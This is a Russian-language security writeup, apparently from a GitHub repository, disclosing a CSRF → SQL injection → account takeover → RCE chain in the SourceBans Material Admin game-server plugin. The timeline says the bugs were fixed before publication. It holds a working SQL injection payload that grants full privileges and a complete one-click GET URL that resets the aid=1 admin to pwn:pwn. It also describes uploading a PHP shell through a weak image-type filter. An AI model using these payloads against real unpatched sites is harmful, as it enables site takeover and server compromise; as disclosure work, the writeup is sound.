Skip to content

ng-dst/sbma-csrf2rce

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 
 
 

Repository files navigation

🎮 CSRF → RCE: Как одна ссылка привела к полной компрометации сайта игрового плагина

Разберем интересную атаку, начавшуюся с простого CSRF на обновление ссылки VK в профиле и завершившуюся захватом всех аккаунтов и получением RCE на хосте с доступом ко всем серверам, подключенным к веб-админке.

Объект исследования

Для многих из нас Counter‑Strike, Team Fortress, Half-Life были не просто играми, а целым сообществом, где мы играли на кастомных серверах с кучей модов и плагинов. Практически везде в чате висела ссылка на SourceBans — веб‑интерфейс на PHP для управления банами, серверами, админ-листом. Именно в этой системе покупались админки, выдавались баны и муты, привилегии, велись споры игроков с администрацией...

Одним из наиболее популярных на русскоязычных серверах был и остаётся SourceBans Material Admin, форк SourceBans++ с обновленным дизайном и новыми фичами для админов и игроков.

Спустя пару лет после активной игры я решил посмотреть на SBMA с другой стороны. Стало интересно, насколько безопасный код пишут авторы модов? Какого рода уязвимости могут быть в подобных проектах? Спойлер: довольно критичные уязвимости. Более того, лежащие практически на поверхности.

Я расскажу, как в одной GET-ссылке собрал цепочку CSRF → SQLi → Account Takeover → Privilege Escalation,
как через другой баг получил RCE на хосте и какие уроки из этого извлек.

Версия SBMA <= 1.1.6 (530), PHP <= 8.0.

С чего все началось: SQL-инъекция при обновлении ссылки VK

Админы в SourceBans обладают разными правами: например, один может быть модератором с доступом только к банам, другой — главным администратором с возможностью менять настройки сервера и добавлять новые карты. Права админов чётко регламентированы и определяются набором флагов, который лежит в БД.

У каждого админа есть профиль с его контактной информацией, которую он может указать по желанию.

В форке SBMA появились новые поля в профиле админа:

  • ссылка на профиль VK;
  • skype/discord.

Для их изменения используется xajax-метод ChangeAdminsInfos, который заносит в БД эти поля через UPDATE-запрос:

function ChangeAdminsInfos($aid, $vk, $skype)
{
  ...

  $vk = RemoveCode($vk);
  $vk = str_replace(array("http://","https://","/","vk.com"), "", $vk);
  $skype = RemoveCode($skype);
  
  $GLOBALS['db']->Execute("UPDATE `".DB_PREFIX."_admins` SET `vk` = '".$vk."', `skype` = '".$skype."' WHERE `aid` = ?", array((int)$aid));
  
  ...
}

Где функция RemoveCode просто вызывает htmlspecialchars:

function RemoveCode($text)
{
	return htmlspecialchars(strip_tags($text));
}

В PHP <= 8.0 функция htmlspecialchars не экранирует кавычки (по умолчанию нет флага ENT_QUOTES), поэтому здесь невооруженным глазом видна SQL-инъекция:

Тем самым можно добавить "лишние" поля в запрос UPDATE и поменять те данные, к которым у нас по идее не должно быть доступа.

Таблица содержит следующие поля:
aid user authid password gid email validate extraflags immunity srv_group srv_flags srv_password lastvisit

Особый интерес представляют:

  1. srv_flags,extraflags,immunity — можно повысить себе привилегии
  2. user,password — можно поменять креды

Сценарий атаки (повышение привилегий через SQLi)

покупаем самую дешевую админку (можно вообще без прав) и ставим ссылку VK:

PWNED',`extraflags`=16777215,`immunity`=100,`srv_flags`='z

и получаем максимальные привилегии и иммунитет от других админов. Можно делать все что угодно, и никто не сможет нас забанить.

Результат:

Угон аккаунта в один клик: CSRF → SQLi → Account Takeover

Можно ли сделать лучше? Как оказалось, да!
Дело в том, что на эту же ручку забыли прикрутить проверку CSRF-токена:

Если разобраться, складываются неплохие условия для классического CSRF:

  • Cookie админов выставляются без флага SameSite, а значит, действует правило Lax by default: куки включается в GET-запросы (при изменении URL, см. top-level navigation), а также в POST-запросы, но только в течение 2 минут после выдачи куки.

  • PHP-бэкенд принимает mime-тип application/x-www-form-urlencoded, что позволяет не устанавливать кастомный Content-Type, а значит, обойтись "простым" POST-запросом, который не потребует preflight-запроса со стороны SOP.

Можно связать CSRF с SQLi и угнать аккаунт админа, поменяв ему логин и пароль на pwn:pwn
(и заодно выдать на этот аккаунт максимальные привилегии. why not?)

Единственной проблемой будет заставить браузер положить сессионную куки в запрос. Для Lax by default на ум приходят два варианта атаки:

  1. Быстро заманить админа на сайт с POST формой   (помним про окно в 2 минуты) 
  2. Разместить форму на соседнем поддомене:
    • sourcebans.testserver.ru
    • forum.testserver.ru        (например, свой HTML в сообщении или подписи)

В обоих вариантах возможности для атаки ограничены. А может, есть и третий?

Крафтим GET-запрос для обхода SameSite

Для меня было открытием, что xajax-обработчик на бэкенде даже не смотрит на метод запроса и воспринимает любой запрос с параметрами как POST.

То есть запрос

GET /index.php?xajax=foo&xajaxargs[]=1
Host: sbma

будет эквивалентен

POST /index.php
Host: sbma
Content-Length: 23
Content-Type: x-www-form-urlencoded

xajax=foo&xajaxargs[]=1

Идеально для CSRF! Тогда вся POST-форма сворачивается в простую ссылку:

http://sbma/index.php?xajax=ChangeAdminsInfos&xajaxr={timestamp}&xajaxargs[]={aid_админа}&xajaxargs[]=PWNED',`user`='pwn',`password`='$2a$10$jJRuXh1bYWMmgXb0LnagQuJUFcwXzwBoxY4.UtMuMbm4Mubbjx5W.',`extraflags`=16777215,`srv_flags`='z&xajaxargs[]=

(в качестве пароля используется BCrypt('pwn'))

Где взять aid аккаунта?

И последний нюанс перед окончательным захватом аккаунта: необходимо указать aid админа. И здесь я заметил, как удачно разработчик ошибся в логике:

if($aid != $userbank->aid && !$userbank->is_logged_in())
{
    $objResponse->redirect("index.php?p=login&m=no_access", 0);
    ...
}

Отказ прилетает, если пользователь залогинен под чужим aid И если он не залогинен вовсе. Очевидно, здесь должно быть ИЛИ (||). Получается, в ручке еще и сломанная авторизация: можно поменять контакты другому админу.

Для атаки это только в плюс: можно взять вообще любой aid, например, aid=1 (как правило, это создатель сервера).

Сценарий атаки (угон аккаунта в один клик)

Любой админ с активной сессией на сайте открывает ссылку

http://sbma/index.php?xajax=ChangeAdminsInfos&xajaxr=1749747262203&xajaxargs[]=1&xajaxargs[]=PWNED',`user`='pwn',`password`='$2a$10$jJRuXh1bYWMmgXb0LnagQuJUFcwXzwBoxY4.UtMuMbm4Mubbjx5W.',`email`='attacker@evil',`immunity`=100,`expired`=0,`extraflags`=16777215,`srv_flags`='z&xajaxargs[]=

и в этот момент у аккаунта с aid=1 меняются креды на pwn:pwn и выдаются максимальные привилегии.

Результат:

Развитие атаки: выходим на RCE

Заполучив аккаунт "суперадмина" со всеми флагами, имеем доступ ко всем настройкам сервера. Можно редактировать информацию о серверах, выдавать и снимать баны, управлять админ-листом или, например, поменять оформление главной страницы... не забывая заспамить всё XSS.

Stored XSS в шапке и на главной

Однако Stored XSS — это меньшее, что можно сделать с правами главного админа. Попробуем выйти на более серьёзный импакт.

RCE через загрузку шелла

Для администраторов с флагом Редактирование сервера доступна функция загрузки изображений карт:

где стоит фильтр по Content-Type:

foreach ($fls['mapimg_file'] as $curfile) {
	if ($curfile['error'] != 0 || $curfile['type'] != "image/jpeg")
		$message .= sprintf("Не удалось загрузить файл %s" ...);
	else {
		move_uploaded_file($curfile['tmp_name'], SB_MAP_LOCATION."/".$curfile['name']);
		$message .= sprintf("Файл %s загружен.", $curfile['name']);
	}
	...
}

Такой фильтр легко обходится: достаточно изменить Content-Type в запросе.

  1. Можно загрузить HTML-страницу с пресловутой XSS:

  1. Можно загрузить свой .htaccess и разрешить выполнение PHP из maps/, включить листинг директории и т.д.

  2. Можно загрузить PHP-шелл и наконец получить RCE на сервере:

Ну а unix-шелл под www-data уже дает:

  • редактирование любых php-скриптов;
  • полный доступ к БД;
  • доступ к секретам в окружении;
  • доступ к RCON-консоли на всех подключенных серверах;
  • дальнейшее продвижение внутри сети (в зависимости от хостинга).

Заключение

В игровых сообществах моды и плагины зачастую представляют собой небольшие опенсорс-проекты, где мало кто задумывается о безопасности кода. Особенно это актуально в CS, TF2 и других играх с кастомными серверами, где игру развивает сообщество.

Что касается SBMA, проект жив и до сих пор используется (онлайн до 10-20к серверов):

Выводы о безопасности подобных плагинов:

  • Уязвимостей в модах может быть еще много, и большинство из них, скорее всего, лежат на поверхности;
  • В русскоязычном сообществе моддинга довольно мало багхантеров: простые уязвимости могут висеть годами никем не замеченными;
  • Необходимо популяризировать идею безопасной разработки и ИБ в игровых сообществах.

Вывод для себя: при аудите важную роль играет не столько поиск отдельных багов, сколько их грамотная комбинация - то, как их можно соединить в какой-нибудь нестандартный чейн. Ведь цепочка из на первый взгляд средненьких багов может дать импакт, сравнимый с самыми критичными уязвимостями.

Таймлайн:

  • 29.10.2025: отправил разработчику письмо с описанием багов
  • 12.11.2025: разместил в репозитории issue с контактами для связи
  • 01.02.2026: разработчик подтвердил уязвимости
  • 08.02.2026: уязвимости исправлены, опубликована эта заметка

About

Security writeup: How a single GET CSRF can lead to 1-click Account Takeover, Privilege Escalation, and RCE in web interface of a game plugin

Topics

Resources

Stars

Watchers

Forks

Contributors